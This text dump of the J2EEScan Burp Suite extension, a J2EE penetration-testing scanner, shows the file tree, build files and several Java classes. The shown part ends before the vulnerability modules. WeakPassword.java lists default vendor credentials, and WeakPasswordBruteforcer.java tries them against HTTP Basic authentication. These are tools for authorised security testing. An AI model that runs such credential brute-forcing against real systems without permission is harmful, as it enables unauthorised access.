├── .gitignore
├── BappDescription.html
├── LICENSE
├── README.md
├── assets
└── issues-example.png
├── pom.xml
└── src
└── main
└── java
└── burp
├── BurpExtender.java
├── CustomHttpRequestResponse.java
├── HTTPMatcher.java
├── HTTPParser.java
├── J2EELFIRetriever.java
├── J2EELocalAssessment.java
├── SoftwareVersions.java
├── WeakPassword.java
├── WeakPasswordBruteforcer.java
└── j2ee
├── Confidence.java
├── CustomScanIssue.java
├── IssuesHandler.java
├── PassiveScanner.java
├── Risk.java
├── annotation
├── RunOnlyOnce.java
└── RunOnlyOnceForApplicationContext.java
├── issues
├── IModule.java
└── impl
│ ├── AJPDetector.java
│ ├── AJP_Tomcat_GhostCat.java
│ ├── ApacheAxis.java
│ ├── ApacheRollerOGNLInjection.java
│ ├── ApacheSolrXXE.java
│ ├── ApacheStrutsDebugMode.java
│ ├── ApacheStrutsS2016.java
│ ├── ApacheStrutsS2017.java
│ ├── ApacheStrutsS2020.java
│ ├── ApacheStrutsS2032.java
│ ├── ApacheStrutsS2043.java
│ ├── ApacheStrutsS2052.java
│ ├── ApacheStrutsShowcase.java
│ ├── ApacheStrutsWebConsole.java
│ ├── ApacheWicketArbitraryResourceAccess.java
│ ├── EL3Injection.java
│ ├── ELInjection.java
│ ├── FastJsonRCE.java
│ ├── HTTPProxy.java
│ ├── HTTPWeakPassword.java
│ ├── Htaccess.java
│ ├── IDocInjection.java
│ ├── InfrastructurePathTraversal.java
│ ├── JBossAdminConsole.java
│ ├── JBossJMXInvoker.java
│ ├── JBossJMXReadOnly.java
│ ├── JBossJuddi.java
│ ├── JBossWS.java
│ ├── JBossWebConsole.java
│ ├── JBossjBPMAdminConsole.java
│ ├── JKStatus.java
│ ├── JacksonDataBindCVE20177525.java
│ ├── JavaServerFacesTraversal.java
│ ├── JavascriptSSRF.java
│ ├── JettyRemoteLeakage.java
│ ├── LFIAbsoluteModule.java
│ ├── LFIModule.java
│ ├── LiferayAPI.java
│ ├── LiferayDefaultCredentials.java
│ ├── LiferayI18nServletResourceLeaks.java
│ ├── LiferayJSONDeserializationCVE20207961.java
│ ├── NextFrameworkPathTraversal.java
│ ├── NodeJSPathTraversal.java
│ ├── NodeJSRedirect.java
│ ├── NodeJSResponseSplitting.java
│ ├── OASConfigFilesDisclosure.java
│ ├── OASSqlnetLogDisclosure.java
│ ├── OracleCGIPrintEnv.java
│ ├── OracleEBSSSRF.java
│ ├── OracleEBSSSRFLCMServiceController.java
│ ├── OracleReportService.java
│ ├── PivotalSpringTraversalCVE20143625.java
│ ├── PrimeFacesELInjection.java
│ ├── RESTAPISwagger.java
│ ├── SSRFScanner.java
│ ├── Seam2RCE.java
│ ├── SnoopResource.java
│ ├── SpringBootActuator.java
│ ├── SpringBootRestRCE.java
│ ├── SpringCloudConfigPathTraversal.java
│ ├── SpringDataCommonRCE.java
│ ├── SpringWebFlowDataBindExpressionCVE20174971.java
│ ├── StatusServlet.java
│ ├── TomcatHostManager.java
│ ├── TomcatManager.java
│ ├── URINormalizationTomcat.java
│ ├── UTF8ResponseSplitting.java
│ ├── UndertowTraversal.java
│ ├── WebInfInformationDisclosure.java
│ ├── WeblogicCVE201710271.java
│ ├── WeblogicCVE20192725.java
│ ├── WeblogicConsole.java
│ ├── WeblogicUDDIExplorer.java
│ ├── WeblogicWebServiceTestPageCVE20182894.java
│ ├── XInclude.java
│ ├── XXEModule.java
│ └── XXEParameterModule.java
├── lib
├── SimpleAjpClient.java
└── TesterAjpMessage.java
└── passive
├── ApacheStrutsS2023Rule.java
├── ApacheTomcatRule.java
├── ExceptionRule.java
├── HttpServerHeaderRule.java
├── JSPostMessage.java
├── JettyRule.java
├── LiferayRule.java
├── PassiveRule.java
├── SessionFixation.java
├── SessionIDInURL.java
├── SqlQueryRule.java
└── strutstoken
├── ReplayRandom.java
└── StrutsTokenCracker.java
/.gitignore:
--------------------------------------------------------------------------------
1 | # Package Files #
2 | *.jar
3 | *.war
4 | *.ear
5 |
6 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
7 | hs_err_pid*
8 |
9 | #ant specific
10 | dist/
11 | build/
12 | build.xml
13 |
14 | #netbeans specific
15 | core
16 | nbproject/*
17 | libs/*
18 | manifest.mf
19 |
20 | #java specific
21 | *.class
22 |
23 | #general swap/backup files
24 | *.so
25 | *.log
26 | *.out
27 | *~
28 | *.swp
29 | *.DS_Store
30 | *.lock
31 |
32 | #idea specific
33 | .classpath
34 | .project
35 | .settings
36 | .idea
37 | .metadata
38 | *.iml
39 | *.ipr
40 | **/*~
41 | /target/
42 | /test/
43 |
--------------------------------------------------------------------------------
/BappDescription.html:
--------------------------------------------------------------------------------
1 |
2 | The goal of this extension is to improve the test coverage during web application penetration tests on J2EE applications.
3 | J2EEScan adds more than 80+ unique security test cases and new strategies to discover different kind of J2EE vulnerabilities.
4 |
5 |
6 |
7 |
8 | Please refer to the official page for the updated test case list https://github.com/ilmila/J2EEScan.
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/assets/issues-example.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ilmila/J2EEScan/1936af81732b8abfa9e4447c80335986d487460f/assets/issues-example.png
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | 4.0.0
5 |
6 | org.em
7 | J2EEScan
8 | 2.0.1-dev
9 | jar
10 |
11 |
12 |
13 |
14 | net.portswigger.burp.extender
15 | burp-extender-api
16 | 1.7.22
17 | provided
18 |
19 |
20 |
21 | org.xerial
22 | sqlite-jdbc
23 | 3.16.1
24 |
25 |
26 |
27 | commons-collections
28 | commons-collections
29 | 3.2.2
30 |
31 |
32 |
33 | org.apache.commons
34 | commons-lang3
35 | 3.1
36 | jar
37 |
38 |
39 |
40 |
41 | org.jsoup
42 | jsoup
43 | 1.8.1
44 |
45 |
46 |
47 |
48 | junit
49 | junit
50 | 4.13.1
51 | test
52 |
53 |
54 |
55 | org.mockito
56 | mockito-all
57 | 1.10.19
58 | test
59 |
60 |
61 | org.apache.tomcat
62 | tomcat-coyote
63 | 7.0.39
64 | jar
65 |
66 |
67 |
68 |
69 |
70 |
71 | maven-assembly-plugin
72 |
73 |
74 |
75 | jar-with-dependencies
76 |
77 |
78 |
79 |
80 | true
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 | make-assembly
89 | package
90 |
91 | single
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 | UTF-8
102 | 1.7
103 | 1.7
104 |
105 |
106 |
--------------------------------------------------------------------------------
/src/main/java/burp/CustomHttpRequestResponse.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 |
4 | public class CustomHttpRequestResponse implements IHttpRequestResponse {
5 |
6 | private byte[] _request = null;
7 | private byte[] _response = null;
8 | private IHttpService _httpService;
9 | private String _comment = "";
10 |
11 |
12 |
13 | public CustomHttpRequestResponse(byte[] request, byte[] response, IHttpService httpService){
14 | this._request = request;
15 | this._response = response;
16 | this._httpService = httpService;
17 | }
18 |
19 | @Override
20 | public byte[] getRequest() {
21 | return this._request;
22 | }
23 |
24 |
25 | @Override
26 | public byte[] getResponse() {
27 | return this._response;
28 | }
29 |
30 |
31 | @Override
32 | public String getComment() {
33 | return this._comment;
34 | }
35 |
36 |
37 | @Override
38 | public void setComment(String comment) {
39 | this._comment = "";
40 | }
41 |
42 | @Override
43 | public void setRequest(byte[] message) {
44 | this._request = message;
45 | }
46 |
47 |
48 |
49 | @Override
50 | public void setResponse(byte[] message) {
51 | this._response = message;
52 | }
53 |
54 | @Override
55 | public String getHighlight() {
56 | return "";
57 | }
58 |
59 | @Override
60 | public void setHighlight(String color) {
61 | throw new UnsupportedOperationException("Not supported yet.");
62 | }
63 |
64 | @Override
65 | public IHttpService getHttpService() {
66 | return this._httpService;
67 | }
68 |
69 | @Override
70 | public void setHttpService(IHttpService httpService) {
71 | this._httpService = httpService;
72 | }
73 | }
--------------------------------------------------------------------------------
/src/main/java/burp/HTTPParser.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.net.MalformedURLException;
4 | import java.net.URI;
5 | import java.net.URISyntaxException;
6 | import java.net.URL;
7 | import java.util.Iterator;
8 | import java.util.List;
9 |
10 | public class HTTPParser {
11 |
12 | public static String getRequestHeaderValue(IRequestInfo requestInfo, String headerName) {
13 | headerName = headerName.toLowerCase().replace(":", "");
14 | for (String header : requestInfo.getHeaders()) {
15 | if (header.toLowerCase().startsWith(headerName)) {
16 | return header.split(":", 0)[1];
17 | }
18 | }
19 | return null;
20 | }
21 |
22 | public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) {
23 | headerName = headerName.toLowerCase().replace(":", "");
24 | for (String header : responseInfo.getHeaders()) {
25 | if (header.toLowerCase().startsWith(headerName)) {
26 | return header.split(":", 2)[1];
27 | }
28 | }
29 | return null;
30 | }
31 |
32 | public static List addOrUpdateHeader(List headers, String newHeader, String newHeaderValue) {
33 |
34 | Iterator iter = headers.iterator();
35 | while (iter.hasNext()) {
36 | if (iter.next().toLowerCase().contains(newHeader.toLowerCase())) {
37 | iter.remove();
38 | }
39 | }
40 | headers.add(String.format("%s: %s", newHeader, newHeaderValue));
41 | return headers;
42 | }
43 |
44 | public static String getHTTPBasicCredentials(IRequestInfo requestInfo) throws Exception {
45 | String authHeader = getRequestHeaderValue(requestInfo, "Authorization").trim();
46 | String[] parts = authHeader.split("\\s");
47 |
48 | if (parts.length != 2) {
49 | throw new Exception("Wrong number of HTTP Authorization header parts");
50 | }
51 |
52 | if (!parts[0].equalsIgnoreCase("Basic")) {
53 | throw new Exception("HTTP authentication must be Basic");
54 | }
55 |
56 | return parts[1];
57 | }
58 |
59 | public static URL concatenate(URL baseUrl, String extraPath) throws URISyntaxException, MalformedURLException {
60 | URI uri = baseUrl.toURI();
61 |
62 | String newPath = uri.getPath() + "/" + extraPath;
63 | URI newUri = uri.resolve(newPath);
64 |
65 | return newUri.toURL();
66 | }
67 |
68 | public static Boolean isJSONRequest(String contentTypeHeader) {
69 |
70 | return (contentTypeHeader.contains("json")) ||
71 | contentTypeHeader.contains("application/x-javascript") ||
72 | contentTypeHeader.contains("application/javascript");
73 |
74 | }
75 |
76 | }
77 |
--------------------------------------------------------------------------------
/src/main/java/burp/SoftwareVersions.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import burp.j2ee.Confidence;
4 | import burp.j2ee.CustomScanIssue;
5 | import burp.j2ee.Risk;
6 | import java.util.Arrays;
7 | import java.util.List;
8 |
9 |
10 | /**
11 | * Knowledge Base to push vulnerabilities based on the remote version detected
12 | *
13 | *
14 | */
15 | public class SoftwareVersions {
16 |
17 | public static void getIssues(
18 | String software,
19 | String release,
20 | IBurpExtenderCallbacks callbacks,
21 | IHttpRequestResponse baseRequestResponse) {
22 |
23 | IExtensionHelpers helpers = callbacks.getHelpers();
24 | IRequestInfo requestInfo = helpers.analyzeRequest(baseRequestResponse);
25 |
26 |
27 | /**
28 | * Apache Tomcat
29 | */
30 | if (software.equalsIgnoreCase("Apache Tomcat")) {
31 |
32 | /**
33 | * End of Life - Apache Tomcat
34 | * Apache Tomcat 5.x
35 | * - http://tomcat.apache.org/tomcat-55-eol.html
36 | * Apache Tomcat 6.x
37 | * - http://tomcat.apache.org/tomcat-60-eol.html
38 | * Apache Tomcat 7.x
39 | * - http://tomcat.apache.org/tomcat-70-eol.html
40 | * Apache Tomcat 8.0
41 | * - http://tomcat.apache.org/tomcat-80-eol.html
42 | * .
43 | */
44 | List vulnerableTomcatReleases;
45 | vulnerableTomcatReleases = Arrays.asList(4, 5, 6, 8);
46 |
47 | // TODO replace with regexp
48 | if ( vulnerableTomcatReleases.contains(Integer.parseInt(release.substring(0, 1))) && !release.startsWith("8.5") ) {
49 |
50 | callbacks.addScanIssue(new CustomScanIssue(
51 | baseRequestResponse.getHttpService(),
52 | requestInfo.getUrl(),
53 | baseRequestResponse,
54 | "End of Life Software - Apache Tomcat " + release,
55 | "J2EEScan identified an unsupported release of Apache Tomcat " + release + " . "
56 | + "No more security updates for this version will be released by Apache "
57 | + "References "
58 | + "http://tomcat.apache.org/tomcat-55-eol.html "
59 | + "https://tomcat.apache.org/tomcat-60-eol.html "
60 | + "https://tomcat.apache.org/tomcat-80-eol.html",
61 | "Update the Apache Servlet Container with the last stable release",
62 | Risk.High,
63 | Confidence.Certain
64 | ));
65 | }
66 | }
67 |
68 |
69 |
70 | /**
71 | * Jetty
72 | */
73 | if (software.equalsIgnoreCase("Jetty")) {
74 |
75 | /**
76 | * End of Life - Jetty
77 | */
78 | if ( Integer.parseInt(release.substring(0, 1)) < 9 ) {
79 |
80 | callbacks.addScanIssue(new CustomScanIssue(
81 | baseRequestResponse.getHttpService(),
82 | requestInfo.getUrl(),
83 | baseRequestResponse,
84 | "End of Life Software - Jetty " + release,
85 | "J2EEScan identified an unsupported release of Jetty " + release + " . "
86 | + "No more security updates for this version will be released by the vendor "
87 | + "References "
88 | + "https://wiki.eclipse.org/Jetty/Starting/Jetty_Version_Comparison_Table ",
89 | "Update the Jetty Container with the last stable release",
90 | Risk.High,
91 | Confidence.Certain
92 | ));
93 | }
94 | }
95 |
96 |
97 | /**
98 | * Oracle Application Server
99 | */
100 | if (software.equalsIgnoreCase("Oracle Application Server")) {
101 |
102 | /**
103 | * End of Life - Oracle Application Server
104 | */
105 | if (release.startsWith("9.") || release.startsWith("10.1.2")) {
106 |
107 | callbacks.addScanIssue(new CustomScanIssue(
108 | baseRequestResponse.getHttpService(),
109 | requestInfo.getUrl(),
110 | baseRequestResponse,
111 | "End of Life Software - Oracle Application Server " + release,
112 | "J2EEScan identified an unsupported release of Oracle Application Server " + release + " . "
113 | + "No more security updates for this version will be released by the vendor "
114 | + "References "
115 | + "http://www.oracle.com/us/support/library/lifetime-support-middleware-069163.pdf ",
116 | "Update the Oracle Application Server with the last stable release",
117 | Risk.High,
118 | Confidence.Tentative
119 | ));
120 | }
121 | }
122 |
123 |
124 |
125 |
126 | }
127 | }
128 |
--------------------------------------------------------------------------------
/src/main/java/burp/WeakPassword.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.util.AbstractMap;
4 | import java.util.ArrayList;
5 | import java.util.List;
6 | import java.util.Map;
7 |
8 | public class WeakPassword {
9 |
10 | public final List> credentials;
11 |
12 | public WeakPassword() {
13 | credentials = new ArrayList<>();
14 | }
15 |
16 | public void addCredential(Map.Entry credential) {
17 | credentials.add(credential);
18 | }
19 |
20 | /**
21 | * Get a list of common username and password couples
22 | *
23 | * @return
24 | */
25 | public List> getCredentials() {
26 |
27 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "tomcat"));
28 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "manager"));
29 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "jboss"));
30 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "password"));
31 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", ""));
32 | credentials.add(new AbstractMap.SimpleEntry<>("both", "manager"));
33 | credentials.add(new AbstractMap.SimpleEntry<>("both", "tomcat"));
34 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "password"));
35 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "tomcat"));
36 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "manager"));
37 | credentials.add(new AbstractMap.SimpleEntry<>("manager", "manager"));
38 | credentials.add(new AbstractMap.SimpleEntry<>("manager", "tomcat"));
39 | credentials.add(new AbstractMap.SimpleEntry<>("role1", "role1"));
40 | credentials.add(new AbstractMap.SimpleEntry<>("role1", "tomcat"));
41 | credentials.add(new AbstractMap.SimpleEntry<>("role", "changethis"));
42 | credentials.add(new AbstractMap.SimpleEntry<>("root", "changethis"));
43 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "changethis"));
44 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "j5Brn9")); // Sun Solaris
45 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "admin"));
46 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "root"));
47 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "password"));
48 | credentials.add(new AbstractMap.SimpleEntry<>("admin", ""));
49 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "1234"));
50 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "axis2"));
51 | credentials.add(new AbstractMap.SimpleEntry<>("test", "test"));
52 | credentials.add(new AbstractMap.SimpleEntry<>("monitor", "monitor"));
53 | credentials.add(new AbstractMap.SimpleEntry<>("guest", "guest"));
54 | credentials.add(new AbstractMap.SimpleEntry<>("root", ""));
55 | credentials.add(new AbstractMap.SimpleEntry<>("root", "root"));
56 | credentials.add(new AbstractMap.SimpleEntry<>("root", "admin"));
57 | credentials.add(new AbstractMap.SimpleEntry<>("root", "password"));
58 | credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic"));
59 | credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic1"));
60 | credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic01"));
61 | credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "welcome1"));
62 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "security"));
63 | credentials.add(new AbstractMap.SimpleEntry<>("oracle", "oracle"));
64 | credentials.add(new AbstractMap.SimpleEntry<>("system", "security"));
65 | credentials.add(new AbstractMap.SimpleEntry<>("system", "password"));
66 | credentials.add(new AbstractMap.SimpleEntry<>("wlcsystem", "wlcsystem"));
67 | credentials.add(new AbstractMap.SimpleEntry<>("wlpisystem", "wlpisystem"));
68 |
69 | // Orbeon forms
70 | credentials.add(new AbstractMap.SimpleEntry<>("orbeonadmin", "xforms"));
71 |
72 | return credentials;
73 |
74 | }
75 |
76 | }
77 |
--------------------------------------------------------------------------------
/src/main/java/burp/WeakPasswordBruteforcer.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import burp.j2ee.PassiveScanner;
4 |
5 | import java.io.PrintWriter;
6 | import java.net.URL;
7 | import java.util.ArrayList;
8 | import java.util.Iterator;
9 | import java.util.List;
10 | import java.util.Map;
11 |
12 | public class WeakPasswordBruteforcer {
13 |
14 | private static PrintWriter stderr;
15 | private static PrintWriter stdout;
16 |
17 | /**
18 | * HTTP Basic Authentication (rfc-2617) Weak Password test
19 | *
20 | * @param callbacks
21 | * @param urlToTest
22 | * @return
23 | */
24 | public CustomHttpRequestResponse HTTPBasicBruteforce(IBurpExtenderCallbacks callbacks, final URL urlToTest) {
25 |
26 |
27 | IExtensionHelpers helpers = callbacks.getHelpers();
28 | stderr = new PrintWriter(callbacks.getStderr(), true);
29 | stdout = new PrintWriter(callbacks.getStdout(), true);
30 |
31 | List> credentials;
32 | WeakPassword wp = new WeakPassword();
33 | credentials = wp.getCredentials();
34 |
35 | byte[] httpAuthTest = helpers.buildHttpRequest(urlToTest);
36 |
37 | String protocol = urlToTest.getProtocol();
38 | Boolean isSSL = (protocol.equals("https"));
39 |
40 | byte[] response = callbacks.makeHttpRequest(urlToTest.getHost(),
41 | urlToTest.getPort(), isSSL, httpAuthTest);
42 |
43 | IResponseInfo responseInfo = helpers.analyzeResponse(response);
44 |
45 | if (responseInfo.getStatusCode() == 401) {
46 | stdout.println("Checking weak credentials on " + urlToTest);
47 |
48 | //Retrieve request headers
49 | IRequestInfo requestInfo = helpers.analyzeRequest(httpAuthTest);
50 | List requestHeaders = requestInfo.getHeaders();
51 |
52 | for (Map.Entry credential : credentials) {
53 |
54 | try {
55 | List requestHeadersToTest = new ArrayList<>(requestHeaders);
56 |
57 | String user = credential.getKey();
58 | String pwd = credential.getValue();
59 |
60 | requestHeadersToTest.add("Authorization: Basic "
61 | + helpers.base64Encode(user + ":" + pwd));
62 |
63 | byte[] makeHttpRequest = helpers.buildHttpMessage(requestHeadersToTest, null);
64 |
65 | byte[] responseWeakPassword = callbacks.makeHttpRequest(urlToTest.getHost(),
66 | urlToTest.getPort(),
67 | isSSL,
68 | makeHttpRequest);
69 |
70 | IResponseInfo httpAuthAttemptResponse = helpers.analyzeResponse(responseWeakPassword);
71 | IHttpService httpServiceInstance = new IHttpService() {
72 |
73 | @Override
74 | public String getHost() {
75 | return urlToTest.getHost();
76 | }
77 |
78 | @Override
79 | public int getPort() {
80 | return urlToTest.getPort();
81 | }
82 |
83 | @Override
84 | public String getProtocol() {
85 | return urlToTest.getProtocol();
86 | }
87 | };
88 |
89 | // Weak Password found
90 | if (httpAuthAttemptResponse.getStatusCode() == 200) {
91 | stdout.println("[!] Weak Credentils " + user + ":" + pwd+ " on " + urlToTest);
92 | CustomHttpRequestResponse result = new CustomHttpRequestResponse(
93 | makeHttpRequest,
94 | responseWeakPassword,
95 | httpServiceInstance);
96 |
97 |
98 | PassiveScanner.scanVulnerabilities(result, callbacks);
99 |
100 | return result;
101 | }
102 |
103 | } catch (Exception e) {
104 | stderr.println("Error during HTTP Bruteforcing on "
105 | + urlToTest + ". Error " + e);
106 | }
107 | }
108 |
109 | }
110 |
111 | return null;
112 |
113 | }
114 | }
115 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/Confidence.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee;
2 |
3 | public enum Confidence {
4 |
5 | Certain("Certain"), Firm("Firm"), Tentative("Tentative");
6 | private String confidence;
7 |
8 | private Confidence(String confidence) {
9 | this.confidence = confidence;
10 |
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/CustomScanIssue.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee;
2 |
3 | import burp.IHttpRequestResponse;
4 | import burp.IHttpService;
5 | import burp.IScanIssue;
6 |
7 | import java.net.URL;
8 |
9 | public class CustomScanIssue implements IScanIssue {
10 |
11 | private IHttpService httpService;
12 | private URL url;
13 | private IHttpRequestResponse httpMessages;
14 | private String name;
15 | private String detail;
16 | private Risk severity;
17 | private String remedy;
18 | private Confidence confidence = Confidence.Certain;
19 |
20 | public CustomScanIssue(
21 | IHttpService httpService,
22 | URL url,
23 | IHttpRequestResponse httpMessages,
24 | String name,
25 | String detail,
26 | String remedy,
27 | Risk severity,
28 | Confidence confidence) {
29 | this.httpService = httpService;
30 | this.url = url;
31 | this.httpMessages = httpMessages;
32 | this.name = "J2EEScan - " + name;
33 | this.detail = detail;
34 | this.remedy = remedy;
35 | this.severity = severity;
36 | this.confidence = confidence;
37 | }
38 |
39 |
40 | @Override
41 | public URL getUrl() {
42 | return url;
43 | }
44 |
45 | @Override
46 | public String getIssueName() {
47 | return name;
48 | }
49 |
50 | @Override
51 | public int getIssueType() {
52 | return 0;
53 | }
54 |
55 | @Override
56 | public String getSeverity() {
57 | return severity.toString();
58 | }
59 |
60 | @Override
61 | // "Certain", "Firm" or "Tentative"
62 | public String getConfidence() {
63 | return confidence.toString();
64 | }
65 |
66 | @Override
67 | public String getIssueBackground() {
68 | return null;
69 | }
70 |
71 | @Override
72 | public String getRemediationBackground() {
73 | return null;
74 | }
75 |
76 | @Override
77 | public String getIssueDetail() {
78 | return detail;
79 | }
80 |
81 | @Override
82 | public String getRemediationDetail() {
83 | return remedy;
84 | }
85 |
86 | @Override
87 | public IHttpRequestResponse[] getHttpMessages() {
88 | return new IHttpRequestResponse[]{httpMessages};
89 | }
90 |
91 | @Override
92 | public IHttpService getHttpService() {
93 | return httpService;
94 | }
95 |
96 | }
97 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/IssuesHandler.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IScanIssue;
5 |
6 |
7 | public class IssuesHandler {
8 |
9 |
10 | /**
11 | *
12 | * Verify for a specific protocol - host a specific
13 | * issue has been already detected
14 | *
15 | * @param callbacks IBurpExtenderCallbacks
16 | * @param vulnerabilityName vulnerability to check if it's present into the issues
17 | * @param protocol (http/https)
18 | * @param host the hostname
19 | *
20 | */
21 | public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
22 | String vulnerabilityName,
23 | String protocol,
24 | String host) {
25 |
26 | IScanIssue[] allIssues;
27 |
28 | allIssues = callbacks.getScanIssues(protocol + "://" + host);
29 |
30 | for (IScanIssue a : allIssues) {
31 |
32 | if (a.getIssueName().contains(vulnerabilityName)) {
33 | return true;
34 | }
35 | }
36 |
37 | return false;
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/PassiveScanner.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee;
2 |
3 | import burp.HTTPParser;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IRequestInfo;
8 | import burp.IResponseInfo;
9 | import burp.j2ee.passive.ApacheStrutsS2023Rule;
10 | import burp.j2ee.passive.ApacheTomcatRule;
11 | import burp.j2ee.passive.ExceptionRule;
12 | import burp.j2ee.passive.HttpServerHeaderRule;
13 | import burp.j2ee.passive.JSPostMessage;
14 | import burp.j2ee.passive.JettyRule;
15 | import burp.j2ee.passive.LiferayRule;
16 | import burp.j2ee.passive.PassiveRule;
17 | import burp.j2ee.passive.SessionFixation;
18 | import burp.j2ee.passive.SessionIDInURL;
19 | import burp.j2ee.passive.SqlQueryRule;
20 |
21 |
22 | public class PassiveScanner {
23 |
24 | /**
25 | * List of passive rules
26 | */
27 | static PassiveRule[] PASSIVE_RULES = {new ApacheTomcatRule(),
28 | new ExceptionRule(),
29 | new HttpServerHeaderRule(),
30 | new SqlQueryRule(),
31 | new ApacheStrutsS2023Rule(),
32 | new JettyRule(),
33 | new SessionIDInURL(),
34 | new JSPostMessage(),
35 | new SessionFixation(),
36 | new LiferayRule()
37 | };
38 |
39 | public static void scanVulnerabilities(IHttpRequestResponse baseRequestResponse,
40 | IBurpExtenderCallbacks callbacks) {
41 |
42 | IExtensionHelpers helpers = callbacks.getHelpers();
43 |
44 | byte[] rawRequest = baseRequestResponse.getRequest();
45 | byte[] rawResponse = baseRequestResponse.getResponse();
46 |
47 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
48 | IResponseInfo respInfo = helpers.analyzeResponse(rawResponse);
49 |
50 | //Body (without the headers)
51 | String reqBody = getBodySection(rawRequest, reqInfo.getBodyOffset());
52 | String respBody = getBodySection(rawResponse, respInfo.getBodyOffset());
53 |
54 | String httpServerHeader = HTTPParser.getResponseHeaderValue(respInfo, "Server");
55 | String contentTypeResponse = HTTPParser.getResponseHeaderValue(respInfo, "Content-Type");
56 | String xPoweredByHeader = HTTPParser.getResponseHeaderValue(respInfo, "X-Powered-By");
57 |
58 | for(PassiveRule scanner : PASSIVE_RULES) {
59 | scanner.scan(callbacks,baseRequestResponse,reqBody,respBody,reqInfo,respInfo,
60 | httpServerHeader,contentTypeResponse, xPoweredByHeader);
61 | }
62 |
63 | }
64 |
65 |
66 | private static String getBodySection(byte[] respBytes, int bodyOffset) {
67 | return new String(respBytes, bodyOffset, respBytes.length - bodyOffset);
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/Risk.java:
--------------------------------------------------------------------------------
1 |
2 | package burp.j2ee;
3 |
4 |
5 | public enum Risk {
6 |
7 | High("High"), Medium("Medium"), Low("Low"), Information("Information");
8 | private String risk;
9 |
10 | private Risk(String risk){
11 | this.risk = risk;
12 |
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/annotation/RunOnlyOnce.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.annotation;
2 |
3 | import java.lang.annotation.ElementType;
4 | import java.lang.annotation.Retention;
5 | import java.lang.annotation.RetentionPolicy;
6 | import java.lang.annotation.Target;
7 |
8 | /**
9 | *
10 | * Custom annotation to mark those modules which should be executed only once.
11 | *
12 | * This strategy reduce the scan time execution and avoid duplicate checks on the remote target
13 | *
14 | */
15 | @Target(value = ElementType.METHOD)
16 | @Retention(value = RetentionPolicy.RUNTIME)
17 | public @interface RunOnlyOnce {
18 |
19 | }
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/annotation/RunOnlyOnceForApplicationContext.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.annotation;
2 |
3 | import java.lang.annotation.ElementType;
4 | import java.lang.annotation.Retention;
5 | import java.lang.annotation.RetentionPolicy;
6 | import java.lang.annotation.Target;
7 |
8 | /**
9 | *
10 | * Custom annotation to mark those modules which should be executed only once
11 | * for every application context.
12 | *
13 | * This strategy reduce the scan time execution and avoid duplicate checks on the remote target
14 | *
15 | */
16 | @Target(value = ElementType.METHOD)
17 | @Retention(value = RetentionPolicy.RUNTIME)
18 | public @interface RunOnlyOnceForApplicationContext {
19 |
20 | }
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/IModule.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues;
2 |
3 |
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IHttpRequestResponse;
6 | import burp.IScanIssue;
7 | import burp.IScannerInsertionPoint;
8 | import java.util.List;
9 |
10 | public interface IModule {
11 |
12 | public List scan(IBurpExtenderCallbacks callbacks,
13 | IHttpRequestResponse baseRequestResponse,
14 | IScannerInsertionPoint insertionPoint);
15 | }
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/AJPDetector.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.CustomHttpRequestResponse;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IRequestInfo;
8 | import burp.IScanIssue;
9 | import burp.IScannerInsertionPoint;
